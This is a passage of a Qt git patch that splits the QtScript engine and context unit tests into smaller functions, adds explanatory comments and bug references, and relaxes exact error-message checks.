QVERIFY(ctx3->activationObject().property("bar", QScriptValue::ResolveLocal).strictlyEquals(QScriptValue(&eng, "ciao"))); - - ctx3->activationObject().setProperty("baz", 789, QScriptValue::ReadOnly); - QVERIFY(eng.evaluate("baz").equals(789)); - QCOMPARE(ctx3->activationObject().propertyFlags("baz"), QScriptValue::ReadOnly); - - QSet activationPropertyNames; - QScriptValueIterator it(ctx3->activationObject()); - while (it.hasNext()) { - it.next(); - activationPropertyNames.insert(it.name()); - } - QCOMPARE(activationPropertyNames.size(), 4); - QVERIFY(activationPropertyNames.contains("foo")); - QVERIFY(activationPropertyNames.contains("4")); - QVERIFY(activationPropertyNames.contains("bar")); - QVERIFY(activationPropertyNames.contains("baz")); - - eng.popContext(); +void tst_QScriptContext::pushAndPopContext_variablesInActivation() +{ + QScriptEngine eng; + QScriptContext *ctx = eng.pushContext(); + ctx->activationObject().setProperty("foo", QScriptValue(&eng, 123)); + // evaluate() should use the current context. + QVERIFY(eng.evaluate("foo").strictlyEquals(QScriptValue(&eng, 123))); + QCOMPARE(ctx->activationObject().propertyFlags("foo"), QScriptValue::PropertyFlags(0)); + + ctx->activationObject().setProperty(4, 456); + QVERIFY(ctx->activationObject().property(4, QScriptValue::ResolveLocal).equals(456)); + + // New JS variables should become properties of the current context's activation. + eng.evaluate("var bar = 'ciao'"); + QVERIFY(ctx->activationObject().property("bar", QScriptValue::ResolveLocal).strictlyEquals(QScriptValue(&eng, "ciao"))); + + ctx->activationObject().setProperty("baz", 789, QScriptValue::ReadOnly); + QVERIFY(eng.evaluate("baz").equals(789)); + QCOMPARE(ctx->activationObject().propertyFlags("baz"), QScriptValue::ReadOnly); + + QSet activationPropertyNames; + QScriptValueIterator it(ctx->activationObject()); + while (it.hasNext()) { + it.next(); + activationPropertyNames.insert(it.name()); } + QCOMPARE(activationPropertyNames.size(), 4); + QVERIFY(activationPropertyNames.contains("foo")); + QVERIFY(activationPropertyNames.contains("4")); + QVERIFY(activationPropertyNames.contains("bar")); + QVERIFY(activationPropertyNames.contains("baz")); - { - QScriptContext *ctx4 = eng.pushContext(); - QScriptValue obj = eng.newObject(); - obj.setProperty("prop", QScriptValue(&eng, 456)); - ctx4->setThisObject(obj); - QScriptValue ret = eng.evaluate("var tmp = this.prop; tmp + 1"); - QCOMPARE(eng.currentContext(), ctx4); - QVERIFY(ret.strictlyEquals(QScriptValue(&eng, 457))); - eng.popContext(); - } + eng.popContext(); +} - // throwing an exception - { - QScriptContext *ctx5 = eng.pushContext(); - QScriptValue ret = eng.evaluate("throw new Error('oops')"); - QVERIFY(ret.isError()); - QVERIFY(eng.hasUncaughtException()); - QCOMPARE(eng.currentContext(), ctx5); - eng.popContext(); - } +void tst_QScriptContext::pushAndPopContext_setThisObject() +{ + QScriptEngine eng; + QScriptContext *ctx = eng.pushContext(); + QScriptValue obj = eng.newObject(); + obj.setProperty("prop", QScriptValue(&eng, 456)); + ctx->setThisObject(obj); + QScriptValue ret = eng.evaluate("var tmp = this.prop; tmp + 1"); + QCOMPARE(eng.currentContext(), ctx); + QVERIFY(ret.strictlyEquals(QScriptValue(&eng, 457))); + eng.popContext(); +} + +void tst_QScriptContext::pushAndPopContext_throwException() +{ + QScriptEngine eng; + QScriptContext *ctx = eng.pushContext(); + QScriptValue ret = eng.evaluate("throw new Error('oops')"); + QVERIFY(ret.isError()); + QVERIFY(eng.hasUncaughtException()); + QCOMPARE(eng.currentContext(), ctx); + eng.popContext(); } void tst_QScriptContext::popNativeContextScope() @@ -596,7 +624,7 @@ void tst_QScriptContext::popNativeContextScope() QVERIFY(ctx->activationObject().strictlyEquals(customScope)); QCOMPARE(ctx->scopeChain().size(), 2); QVERIFY(ctx->scopeChain().at(0).strictlyEquals(customScope)); - QEXPECT_FAIL("", "QTBUG-11012", Continue); + QEXPECT_FAIL("", "QTBUG-11012: Global object is replaced in scope chain", Continue); QVERIFY(ctx->scopeChain().at(1).strictlyEquals(eng.globalObject())); QVERIFY(!eng.evaluate("baz = 456; var foo = 789; function barbar() {}").isError()); @@ -918,7 +946,7 @@ static QScriptValue getScopeChain(QScriptContext *ctx, QScriptEngine *eng) return qScriptValueFromValue(eng, ctx->parentContext()->scopeChain()); } -void tst_QScriptContext::scopeChain() +void tst_QScriptContext::scopeChain_globalContext() { QScriptEngine eng; { @@ -932,19 +960,35 @@ void tst_QScriptContext::scopeChain() QCOMPARE(ret.size(), 1); QVERIFY(ret.at(0).strictlyEquals(eng.globalObject())); } - { - eng.evaluate("function foo() { function bar() { return getScopeChain(); } return bar() }"); - QScriptValueList ret = qscriptvalue_cast(eng.evaluate("foo()")); - QEXPECT_FAIL("", "Number of items in returned scope chain is incorrect", Abort); - QCOMPARE(ret.size(), 3); - QVERIFY(ret.at(2).strictlyEquals(eng.globalObject())); - QCOMPARE(ret.at(1).toString(), QString::fromLatin1("activation")); - QVERIFY(ret.at(1).property("arguments").isObject()); - QCOMPARE(ret.at(0).toString(), QString::fromLatin1("activation")); - QVERIFY(ret.at(0).property("arguments").isObject()); - } +} + +void tst_QScriptContext::scopeChain_closure() +{ + QScriptEngine eng; + eng.globalObject().setProperty("getScopeChain", eng.newFunction(getScopeChain)); + + eng.evaluate("function foo() { function bar() { return getScopeChain(); } return bar() }"); + QScriptValueList ret = qscriptvalue_cast(eng.evaluate("foo()")); + // JSC will not create an activation for bar() unless we insert a call + // to eval() in the function body; JSC has no way of knowing that the + // native function will be asking for the activation, and we don't want + // to needlessly create it. + QEXPECT_FAIL("", "QTBUG-10313: JSC optimizes away the activation object", Abort); + QCOMPARE(ret.size(), 3); + QVERIFY(ret.at(2).strictlyEquals(eng.globalObject())); + QCOMPARE(ret.at(1).toString(), QString::fromLatin1("activation")); + QVERIFY(ret.at(1).property("arguments").isObject()); + QCOMPARE(ret.at(0).toString(), QString::fromLatin1("activation")); + QVERIFY(ret.at(0).property("arguments").isObject()); +} + +void tst_QScriptContext::scopeChain_withStatement() +{ + QScriptEngine eng; + eng.globalObject().setProperty("getScopeChain", eng.newFunction(getScopeChain)); { QScriptValueList ret = qscriptvalue_cast(eng.evaluate("o = { x: 123 }; with(o) getScopeChain();")); + QEXPECT_FAIL("", "QTBUG-17131: with-scope isn't reflected by QScriptContext", Abort); QCOMPARE(ret.size(), 2); QVERIFY(ret.at(1).strictlyEquals(eng.globalObject())); QVERIFY(ret.at(0).isObject()); @@ -962,7 +1006,7 @@ void tst_QScriptContext::scopeChain() } } -void tst_QScriptContext::pushAndPopScope() +void tst_QScriptContext::pushAndPopScope_globalContext() { QScriptEngine eng; QScriptContext *ctx = eng.currentContext(); @@ -1019,14 +1063,19 @@ void tst_QScriptContext::pushAndPopScope() ctx->pushScope(QScriptValue()); QCOMPARE(ctx->scopeChain().size(), 1); +} +void tst_QScriptContext::pushAndPopScope_globalContext2() +{ + QScriptEngine eng; + QScriptContext *ctx = eng.currentContext(); QVERIFY(ctx->popScope().strictlyEquals(eng.globalObject())); QVERIFY(ctx->scopeChain().isEmpty()); // Used to work with old back-end, doesn't with new one because JSC requires that the last object in // a scope chain is the Global Object. QTest::ignoreMessage(QtWarningMsg, "QScriptContext::pushScope() failed: initial object in scope chain has to be the Global Object"); - ctx->pushScope(obj); + ctx->pushScope(eng.newObject()); QCOMPARE(ctx->scopeChain().size(), 0); QScriptEngine eng2; @@ -1043,7 +1092,7 @@ static QScriptValue get_activationObject(QScriptContext *ctx, QScriptEngine *) return ctx->activationObject(); } -void tst_QScriptContext::getSetActivationObject() +void tst_QScriptContext::getSetActivationObject_globalContext() { QScriptEngine eng; QScriptContext *ctx = eng.currentContext(); @@ -1076,7 +1125,7 @@ void tst_QScriptContext::getSetActivationObject() QScriptValue ret = eng.evaluate("get_activationObject(1, 2, 3)"); QVERIFY(ret.isObject()); QScriptValue arguments = ret.property("arguments"); - QEXPECT_FAIL("", "Getting arguments property of activation object doesn't work", Abort); + QEXPECT_FAIL("", "QTBUG-17136: arguments property of activation object is missing", Abort); QVERIFY(arguments.isObject()); QCOMPARE(arguments.property("length").toInt32(), 3); QCOMPARE(arguments.property("0").toInt32(), 1); @@ -1099,6 +1148,8 @@ void tst_QScriptContext::getSetActivationObject_customContext() QCOMPARE(act.property("foo").toInt32(), 123); } +// Helper function that's intended to have the same behavior +// as the built-in eval() function. static QScriptValue myEval(QScriptContext *ctx, QScriptEngine *eng) { QString code = ctx->argument(0).toString(); @@ -1127,13 +1178,14 @@ void tst_QScriptContext::inheritActivationAndThisObject() QCOMPARE(ret.toInt32(), 123); } - // QT-2219 { eng.globalObject().setProperty("a", 123); QScriptValue ret = eng.evaluate("(function() { myEval('var a = 456'); return a; })()"); QVERIFY(ret.isNumber()); QCOMPARE(ret.toInt32(), 456); - QEXPECT_FAIL("", "QT-2219: Wrong activation object is returned from native function's parent context", Continue); + // Since JSC doesn't create an activation object for the anonymous function call, + // myEval() will use the global object as the activation, which is wrong. + QEXPECT_FAIL("", "QTBUG-10313: Wrong activation object is returned from native function's parent context", Continue); QVERIFY(eng.globalObject().property("a").strictlyEquals(123)); } } @@ -1172,11 +1224,11 @@ static QScriptValue storeCalledAsConstructorV3(QScriptContext *ctx, QScriptEngin return eng->undefinedValue(); } -void tst_QScriptContext::calledAsConstructor() +void tst_QScriptContext::calledAsConstructor_fromCpp() { QScriptEngine eng; - QScriptValue fun1 = eng.newFunction(storeCalledAsConstructor); { + QScriptValue fun1 = eng.newFunction(storeCalledAsConstructor); fun1.call(); QVERIFY(!fun1.property("calledAsConstructor").toBool()); fun1.construct(); @@ -1189,25 +1241,31 @@ void tst_QScriptContext::calledAsConstructor() fun.construct(); QVERIFY(fun.property("calledAsConstructor").toBool()); } - { - eng.globalObject().setProperty("fun1", fun1); - eng.evaluate("fun1();"); - QVERIFY(!fun1.property("calledAsConstructor").toBool()); - eng.evaluate("new fun1();"); - QVERIFY(fun1.property("calledAsConstructor").toBool()); - } - { - QScriptValue fun3 = eng.newFunction(storeCalledAsConstructorV3); - eng.globalObject().setProperty("fun3", fun3); - eng.evaluate("function test() { fun3() }"); - eng.evaluate("test();"); - QVERIFY(!fun3.property("calledAsConstructor").toBool()); - eng.evaluate("new test();"); - if (qt_script_isJITEnabled()) - QEXPECT_FAIL("", "QTBUG-6132: calledAsConstructor is not correctly set for JS functions when JIT is enabled", Continue); - QVERIFY(fun3.property("calledAsConstructor").toBool()); - } +} + +void tst_QScriptContext::calledAsConstructor_fromJS() +{ + QScriptEngine eng; + QScriptValue fun1 = eng.newFunction(storeCalledAsConstructor); + eng.globalObject().setProperty("fun1", fun1); + eng.evaluate("fun1();"); + QVERIFY(!fun1.property("calledAsConstructor").toBool()); + eng.evaluate("new fun1();"); + QVERIFY(fun1.property("calledAsConstructor").toBool()); +} +void tst_QScriptContext::calledAsConstructor_parentContext() +{ + QScriptEngine eng; + QScriptValue fun3 = eng.newFunction(storeCalledAsConstructorV3); + eng.globalObject().setProperty("fun3", fun3); + eng.evaluate("function test() { fun3() }"); + eng.evaluate("test();"); + QVERIFY(!fun3.property("calledAsConstructor").toBool()); + eng.evaluate("new test();"); + if (qt_script_isJITEnabled()) + QEXPECT_FAIL("", "QTBUG-6132: calledAsConstructor is not correctly set for JS functions when JIT is enabled", Continue); + QVERIFY(fun3.property("calledAsConstructor").toBool()); } static QScriptValue argumentsObjectInNative_test1(QScriptContext *ctx, QScriptEngine *eng) @@ -1269,7 +1327,7 @@ void tst_QScriptContext::jsActivationObject() QScriptValue result1 = eng.evaluate("f2('hello', 'useless', 'world')"); QScriptValue result2 = eng.evaluate("f3()"); QVERIFY(result1.isObject()); - QEXPECT_FAIL("", "JSC optimize away the activation object", Abort); + QEXPECT_FAIL("", "QTBUG-10313: JSC optimizes away the activation object", Abort); QCOMPARE(result1.property("v1").toInt32() , 42); QCOMPARE(result1.property("arguments").property(1).toString() , QString::fromLatin1("useless")); QVERIFY(result2.isObject()); -- cgit v0.12 From e3be9077b284174a97bff82f52ffbfda11369d18 Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Wed, 2 Feb 2011 15:18:33 +0100 Subject: Split QScriptEngine test into smaller functions Also add comments to clarify what we're testing, and remove dependency on precise error messages (we don't care what the precise wording of an error is, only that it is e.g. a TypeError). Task-number: QTBUG-16746 Reviewed-by: Jedrzej Nowacki --- tests/auto/qscriptengine/tst_qscriptengine.cpp | 856 +++++++++++++++---------- 1 file changed, 529 insertions(+), 327 deletions(-) diff --git a/tests/auto/qscriptengine/tst_qscriptengine.cpp b/tests/auto/qscriptengine/tst_qscriptengine.cpp index 956f06c..2f7e0b5 100644 --- a/tests/auto/qscriptengine/tst_qscriptengine.cpp +++ b/tests/auto/qscriptengine/tst_qscriptengine.cpp @@ -93,7 +93,8 @@ private slots: void constructWithParent(); void currentContext(); void pushPopContext(); - void getSetDefaultPrototype(); + void getSetDefaultPrototype_int(); + void getSetDefaultPrototype_customType(); void newFunction(); void newFunctionWithArg(); void newFunctionWithProto(); @@ -109,7 +110,9 @@ private slots: void newVariant_promoteNonObject(); void newVariant_promoteNonQScriptObject(); void newRegExp(); + void jsRegExp(); void newDate(); + void jsParseDate(); void newQObject(); void newQObject_ownership(); void newQObject_promoteObject(); @@ -121,6 +124,7 @@ private slots: void newActivationObject(); void getSetGlobalObject(); void globalObjectProperties(); + void globalObjectProperties_enumerate(); void createGlobalObjectProperty(); void globalObjectGetterSetterProperty(); void customGlobalObjectWithPrototype(); @@ -136,7 +140,14 @@ private slots: void nestedEvaluate(); void uncaughtException(); void errorMessage_QT679(); - void valueConversion(); + void valueConversion_basic(); + void valueConversion_customType(); + void valueConversion_sequence(); + void valueConversion_QVariant(); + void valueConversion_hooliganTask248802(); + void valueConversion_basic2(); + void valueConversion_dateTime(); + void valueConversion_regExp(); void qScriptValueFromValue_noEngine(); void importExtension(); void infiniteRecursion(); @@ -152,32 +163,51 @@ private slots: void numberParsing_data(); void numberParsing(); void automaticSemicolonInsertion(); + void abortEvaluation_notEvaluating(); void abortEvaluation(); + void abortEvaluation_tryCatch(); + void abortEvaluation_fromNative(); void abortEvaluation_QTBUG9433(); - void isEvaluating(); + void isEvaluating_notEvaluating(); + void isEvaluating_fromNative(); + void isEvaluating_fromEvent(); void printFunctionWithCustomHandler(); void printThrowsException(); void errorConstructors(); - void argumentsProperty(); - void numberClass(); - void forInStatement(); - void functionExpression(); + void argumentsProperty_globalContext(); + void argumentsProperty_JS(); + void argumentsProperty_evaluateInNativeFunction(); + void jsNumberClass(); + void jsForInStatement_simple(); + void jsForInStatement_prototypeProperties(); + void jsForInStatement_mutateWhileIterating(); + void jsForInStatement_arrays(); + void jsForInStatement_nullAndUndefined(); + void jsFunctionDeclarationAsStatement(); void stringObjects(); + void jsStringPrototypeReplaceBugs(); void getterSetterThisObject_global(); void getterSetterThisObject_plain(); void getterSetterThisObject_prototypeChain(); void getterSetterThisObject_activation(); - void continueInSwitch(); - void readOnlyPrototypeProperty(); + void jsContinueInSwitch(); + void jsShadowReadOnlyPrototypeProperty(); void toObject(); - void reservedWords_data(); - void reservedWords(); - void futureReservedWords_data(); - void futureReservedWords(); - void throwInsideWithStatement(); - void getSetAgent(); - void reentrancy(); - void incDecNonObjectProperty(); + void jsReservedWords_data(); + void jsReservedWords(); + void jsFutureReservedWords_data(); + void jsFutureReservedWords(); + void jsThrowInsideWithStatement(); + void getSetAgent_ownership(); + void getSetAgent_deleteAgent(); + void getSetAgent_differentEngine(); + void reentrancy_stringHandles(); + void reentrancy_processEventsInterval(); + void reentrancy_typeConversion(); + void reentrancy_globalObjectProperties(); + void reentrancy_Array(); + void reentrancy_objectCreation(); + void jsIncDecNonObjectProperty(); void installTranslatorFunctions_data(); void installTranslatorFunctions(); void translateScript_data(); @@ -609,54 +639,65 @@ void tst_QScriptEngine::newRegExp() QCOMPARE(rexp.toRegExp().pattern(), QRegExp("foo").pattern()); } - { - QScriptValue r = eng.evaluate("/foo/gim"); - QVERIFY(r.isRegExp()); - QCOMPARE(r.toString(), QString::fromLatin1("/foo/gim")); +} + +void tst_QScriptEngine::jsRegExp() +{ + // See ECMA-262 Section 15.10, "RegExp Objects". + // These should really be JS-only tests, as they test the implementation's + // ECMA-compliance, not the C++ API. Compliance should already be covered + // by the Mozilla tests (qscriptjstestsuite). + // We can consider updating the expected results of this test if the + // RegExp implementation changes. - QScriptValue rxCtor = eng.globalObject().property("RegExp"); - QScriptValue r2 = rxCtor.call(QScriptValue(), QScriptValueList() << r); - QVERIFY(r2.isRegExp()); - QVERIFY(r2.strictlyEquals(r)); + QScriptEngine eng; + QScriptValue r = eng.evaluate("/foo/gim"); + QVERIFY(r.isRegExp()); + QCOMPARE(r.toString(), QString::fromLatin1("/foo/gim")); - QScriptValue r3 = rxCtor.call(QScriptValue(), QScriptValueList() << r << "gim"); - QVERIFY(r3.isError()); - QCOMPARE(r3.toString(), QString::fromLatin1("TypeError: Cannot supply flags when constructing one RegExp from another.")); + QScriptValue rxCtor = eng.globalObject().property("RegExp"); + QScriptValue r2 = rxCtor.call(QScriptValue(), QScriptValueList() << r); + QVERIFY(r2.isRegExp()); + QVERIFY(r2.strictlyEquals(r)); - QScriptValue r4 = rxCtor.call(QScriptValue(), QScriptValueList() << "foo" << "gim"); - QVERIFY(r4.isRegExp()); + QScriptValue r3 = rxCtor.call(QScriptValue(), QScriptValueList() << r << "gim"); + QVERIFY(r3.isError()); + QVERIFY(r3.toString().contains(QString::fromLatin1("TypeError"))); // Cannot supply flags when constructing one RegExp from another - QScriptValue r5 = rxCtor.construct(QScriptValueList() << r); - QVERIFY(r5.isRegExp()); - QCOMPARE(r5.toString(), QString::fromLatin1("/foo/gim")); - // In JSC, constructing a RegExp from another produces the same identical object. - // This is different from SpiderMonkey and old back-end. - QVERIFY(r5.strictlyEquals(r)); + QScriptValue r4 = rxCtor.call(QScriptValue(), QScriptValueList() << "foo" << "gim"); + QVERIFY(r4.isRegExp()); - QScriptValue r6 = rxCtor.construct(QScriptValueList() << "foo" << "bar"); - QVERIFY(r6.isError()); - QCOMPARE(r6.toString(), QString::fromLatin1("SyntaxError: Invalid regular expression: invalid regular expression flag")); + QScriptValue r5 = rxCtor.construct(QScriptValueList() << r); + QVERIFY(r5.isRegExp()); + QCOMPARE(r5.toString(), QString::fromLatin1("/foo/gim")); + // In JSC, constructing a RegExp from another produces the same identical object. + // This is different from SpiderMonkey and old back-end. + QVERIFY(r5.strictlyEquals(r)); - QScriptValue r7 = eng.evaluate("/foo/gimp"); - QVERIFY(r7.isError()); - QCOMPARE(r7.toString(), QString::fromLatin1("SyntaxError: Invalid regular expression: invalid regular expression flag")); + QScriptValue r6 = rxCtor.construct(QScriptValueList() << "foo" << "bar"); + QVERIFY(r6.isError()); + QVERIFY(r6.toString().contains(QString::fromLatin1("SyntaxError"))); // Invalid regular expression flag - QScriptValue r8 = eng.evaluate("/foo/migmigmig"); - QVERIFY(r8.isRegExp()); - QCOMPARE(r8.toString(), QString::fromLatin1("/foo/gim")); + QScriptValue r7 = eng.evaluate("/foo/gimp"); + QVERIFY(r7.isError()); + QVERIFY(r7.toString().contains(QString::fromLatin1("SyntaxError"))); // Invalid regular expression flag - QScriptValue r9 = rxCtor.construct(); - QVERIFY(r9.isRegExp()); - QCOMPARE(r9.toString(), QString::fromLatin1("/(?:)/")); + // JSC doesn't complain about duplicate flags. + QScriptValue r8 = eng.evaluate("/foo/migmigmig"); + QVERIFY(r8.isRegExp()); + QCOMPARE(r8.toString(), QString::fromLatin1("/foo/gim")); - QScriptValue r10 = rxCtor.construct(QScriptValueList() << "" << "gim"); - QVERIFY(r10.isRegExp()); - QCOMPARE(r10.toString(), QString::fromLatin1("/(?:)/gim")); + QScriptValue r9 = rxCtor.construct(); + QVERIFY(r9.isRegExp()); + QCOMPARE(r9.toString(), QString::fromLatin1("/(?:)/")); - QScriptValue r11 = rxCtor.construct(QScriptValueList() << "{1.*}" << "g"); - QVERIFY(r11.isRegExp()); - QCOMPARE(r11.toString(), QString::fromLatin1("/{1.*}/g")); - } + QScriptValue r10 = rxCtor.construct(QScriptValueList() << "" << "gim"); + QVERIFY(r10.isRegExp()); + QCOMPARE(r10.toString(), QString::fromLatin1("/(?:)/gim")); + + QScriptValue r11 = rxCtor.construct(QScriptValueList() << "{1.*}" << "g"); + QVERIFY(r11.isRegExp()); + QCOMPARE(r11.toString(), QString::fromLatin1("/{1.*}/g")); } void tst_QScriptEngine::newDate() @@ -695,7 +736,11 @@ void tst_QScriptEngine::newDate() // toDateTime() result should be in local time QCOMPARE(date.toDateTime(), dt.toLocalTime()); } +} +void tst_QScriptEngine::jsParseDate() +{ + QScriptEngine eng; // Date.parse() should return NaN when it fails { QScriptValue ret = eng.evaluate("Date.parse()"); @@ -1196,6 +1241,8 @@ static QScriptValue getSetFoo(QScriptContext *ctx, QScriptEngine *) void tst_QScriptEngine::globalObjectProperties() { + // See ECMA-262 Section 15.1, "The Global Object". + QScriptEngine eng; QScriptValue global = eng.globalObject(); @@ -1271,8 +1318,13 @@ void tst_QScriptEngine::globalObjectProperties() QVERIFY(!global.property("Math").isFunction()); QEXPECT_FAIL("", "[ECMA compliance] JSC sets DontDelete flag for Math object", Continue); QCOMPARE(global.propertyFlags("Math"), QScriptValue::SkipInEnumeration); +} + +void tst_QScriptEngine::globalObjectProperties_enumerate() +{ + QScriptEngine eng; + QScriptValue global = eng.globalObject(); - // enumeration QSet expectedNames; expectedNames << "isNaN" @@ -1500,7 +1552,7 @@ void tst_QScriptEngine::globalObjectWithCustomPrototype() { QScriptValue ret = engine.evaluate("this.__proto__ = { 'a': 123 }; a"); QVERIFY(ret.isNumber()); - QEXPECT_FAIL("", "QTBUG-9737", Continue); + QEXPECT_FAIL("", "QTBUG-9737: Prototype change in JS not reflected on C++ side", Continue); QVERIFY(ret.strictlyEquals(global.property("a"))); } } @@ -1510,7 +1562,9 @@ void tst_QScriptEngine::builtinFunctionNames_data() QTest::addColumn("expression"); QTest::addColumn("expectedName"); - QTest::newRow("print") << QString("print") << QString("print"); + // See ECMA-262 Chapter 15, "Standard Built-in ECMAScript Objects". + + QTest::newRow("print") << QString("print") << QString("print"); // QtScript extension. QTest::newRow("parseInt") << QString("parseInt") << QString("parseInt"); QTest::newRow("parseFloat") << QString("parseFloat") << QString("parseFloat"); QTest::newRow("isNaN") << QString("isNaN") << QString("isNaN"); @@ -1521,8 +1575,8 @@ void tst_QScriptEngine::builtinFunctionNames_data() QTest::newRow("encodeURIComponent") << QString("encodeURIComponent") << QString("encodeURIComponent"); QTest::newRow("escape") << QString("escape") << QString("escape"); QTest::newRow("unescape") << QString("unescape") << QString("unescape"); - QTest::newRow("version") << QString("version") << QString("version"); - QTest::newRow("gc") << QString("gc") << QString("gc"); + QTest::newRow("version") << QString("version") << QString("version"); // QtScript extension. + QTest::newRow("gc") << QString("gc") << QString("gc"); // QtScript extension. QTest::newRow("Array") << QString("Array") << QString("Array"); QTest::newRow("Array.prototype.toString") << QString("Array.prototype.toString") << QString("toString"); @@ -1673,6 +1727,7 @@ void tst_QScriptEngine::builtinFunctionNames() QFETCH(QString, expression); QFETCH(QString, expectedName); QScriptEngine eng; + // The "name" property is actually non-standard, but JSC supports it. QScriptValue ret = eng.evaluate(QString::fromLatin1("%0.name").arg(expression)); QVERIFY(ret.isString()); QCOMPARE(ret.toString(), expectedName); @@ -1894,22 +1949,24 @@ static QScriptValue eval_nested(QScriptContext *ctx, QScriptEngine *eng) return result; } +// Tests that nested evaluate uses the "this" that was passed. void tst_QScriptEngine::nestedEvaluate() { QScriptEngine eng; QScriptValue fun = eng.newFunction(eval_nested); eng.globalObject().setProperty("fun", fun); + // From JS function call { QScriptValue result = eng.evaluate("o = { id:'foo'}; o.fun = fun; o.fun()"); QCOMPARE(result.property("local_bar").toString(), QString("local")); QCOMPARE(result.property("thisObjectIdBefore").toString(), QString("foo")); QCOMPARE(result.property("thisObjectIdAfter").toString(), QString("foo")); QCOMPARE(result.property("evaluatedThisObjectId").toString(), QString("foo")); - QScriptValue bar = eng.evaluate("bar"); + QScriptValue bar = eng.evaluate("bar"); // Was introduced in local scope. QVERIFY(bar.isError()); - QCOMPARE(bar.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bar")); + QVERIFY(bar.toString().contains(QString::fromLatin1("ReferenceError"))); } - + // From QScriptValue::call() { QScriptValue result = fun.call(eng.evaluate("p = { id:'foo' }") , QScriptValueList() ); QCOMPARE(result.property("local_bar").toString(), QString("local")); @@ -1918,7 +1975,7 @@ void tst_QScriptEngine::nestedEvaluate() QCOMPARE(result.property("evaluatedThisObjectId").toString(), QString("foo")); QScriptValue bar = eng.evaluate("bar"); QVERIFY(bar.isError()); - QCOMPARE(bar.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bar")); + QVERIFY(bar.toString().contains(QString::fromLatin1("ReferenceError"))); } } @@ -1985,6 +2042,7 @@ void tst_QScriptEngine::errorMessage_QT679() engine.globalObject().setProperty("foo", 15); QScriptValue error = engine.evaluate("'hello world';\nfoo.bar.blah"); QVERIFY(error.isError()); + // The exact message is back-end specific and subject to change. QCOMPARE(error.toString(), QString::fromLatin1("TypeError: Result of expression 'foo.bar' [undefined] is not an object.")); } @@ -1997,37 +2055,40 @@ public: Q_DECLARE_METATYPE(Foo) Q_DECLARE_METATYPE(Foo*) -void tst_QScriptEngine::getSetDefaultPrototype() +void tst_QScriptEngine::getSetDefaultPrototype_int() { QScriptEngine eng; - { - QScriptValue object = eng.newObject(); - QCOMPARE(eng.defaultPrototype(qMetaTypeId()).isValid(), false); - eng.setDefaultPrototype(qMetaTypeId(), object); - QCOMPARE(eng.defaultPrototype(qMetaTypeId()).strictlyEquals(object), true); - QScriptValue value = eng.newVariant(int(123)); - QCOMPARE(value.prototype().isObject(), true); - QCOMPARE(value.prototype().strictlyEquals(object), true); - eng.setDefaultPrototype(qMetaTypeId(), QScriptValue()); - QCOMPARE(eng.defaultPrototype(qMetaTypeId()).isValid(), false); - QScriptValue value2 = eng.newVariant(int(123)); - QCOMPARE(value2.prototype().strictlyEquals(object), false); - } - { - QScriptValue object = eng.newObject(); - QCOMPARE(eng.defaultPrototype(qMetaTypeId()).isValid(), false); - eng.setDefaultPrototype(qMetaTypeId(), object); - QCOMPARE(eng.defaultPrototype(qMetaTypeId()).strictlyEquals(object), true); - QScriptValue value = eng.newVariant(qVariantFromValue(Foo())); - QCOMPARE(value.prototype().isObject(), true); - QCOMPARE(value.prototype().strictlyEquals(object), true); + QScriptValue object = eng.newObject(); + QCOMPARE(eng.defaultPrototype(qMetaTypeId()).isValid(), false); + eng.setDefaultPrototype(qMetaTypeId(), object); + QCOMPARE(eng.defaultPrototype(qMetaTypeId()).strictlyEquals(object), true); + QScriptValue value = eng.newVariant(int(123)); + QCOMPARE(value.prototype().isObject(), true); + QCOMPARE(value.prototype().strictlyEquals(object), true); - eng.setDefaultPrototype(qMetaTypeId(), QScriptValue()); - QCOMPARE(eng.defaultPrototype(qMetaTypeId()).isValid(), false); - QScriptValue value2 = eng.newVariant(qVariantFromValue(Foo())); - QCOMPARE(value2.prototype().strictlyEquals(object), false); - } + eng.setDefaultPrototype(qMetaTypeId(), QScriptValue()); + QCOMPARE(eng.defaultPrototype(qMetaTypeId()).isValid(), false); + QScriptValue value2 = eng.newVariant(int(123)); + QCOMPARE(value2.prototype().strictlyEquals(object), false); +} + +void tst_QScriptEngine::getSetDefaultPrototype_customType() +{ + QScriptEngine eng; + + QScriptValue object = eng.newObject(); + QCOMPARE(eng.defaultPrototype(qMetaTypeId()).isValid(), false); + eng.setDefaultPrototype(qMetaTypeId(), object); + QCOMPARE(eng.defaultPrototype(qMetaTypeId()).strictlyEquals(object), true); + QScriptValue value = eng.newVariant(qVariantFromValue(Foo())); + QCOMPARE(value.prototype().isObject(), true); + QCOMPARE(value.prototype().strictlyEquals(object), true); + + eng.setDefaultPrototype(qMetaTypeId(), QScriptValue()); + QCOMPARE(eng.defaultPrototype(qMetaTypeId()).isValid(), false); + QScriptValue value2 = eng.newVariant(qVariantFromValue(Foo())); + QCOMPARE(value2.prototype().strictlyEquals(object), false); } static QScriptValue fooToScriptValue(QScriptEngine *eng, const Foo &foo) @@ -2061,7 +2122,7 @@ Q_DECLARE_METATYPE(QStack) Q_DECLARE_METATYPE(QQueue) Q_DECLARE_METATYPE(QLinkedList >) -void tst_QScriptEngine::valueConversion() +void tst_QScriptEngine::valueConversion_basic() { QScriptEngine eng; { @@ -2123,7 +2184,11 @@ void tst_QScriptEngine::valueConversion() QCOMPARE(qScriptValueToValue(code), c); QCOMPARE(qScriptValueToValue(qScriptValueFromValue(&eng, c)), c); } +} +void tst_QScriptEngine::valueConversion_customType() +{ + QScriptEngine eng; { // a type that we don't have built-in conversion of // (it's stored as a variant) @@ -2169,7 +2234,11 @@ void tst_QScriptEngine::valueConversion() QVERIFY(fooVal2.property("x").strictlyEquals(QScriptValue(&eng, 56))); QVERIFY(fooVal2.property("y").strictlyEquals(QScriptValue(&eng, 78))); } +} +void tst_QScriptEngine::valueConversion_sequence() +{ + QScriptEngine eng; qScriptRegisterSequenceMetaType >(&eng); { @@ -2248,7 +2317,11 @@ void tst_QScriptEngine::valueConversion() QCOMPARE(qscriptvalue_cast(val), lst); } +} +void tst_QScriptEngine::valueConversion_QVariant() +{ + QScriptEngine eng; // qScriptValueFromValue() should be "smart" when the argument is a QVariant { QScriptValue val = qScriptValueFromValue(&eng, QVariant()); @@ -2325,7 +2398,12 @@ void tst_QScriptEngine::valueConversion() QCOMPARE(val.toVariant(), var); } - // task 248802 + QCOMPARE(qscriptvalue_cast(QScriptValue(123)), QVariant(123)); +} + +void tst_QScriptEngine::valueConversion_hooliganTask248802() +{ + QScriptEngine eng; qScriptRegisterMetaType(&eng, 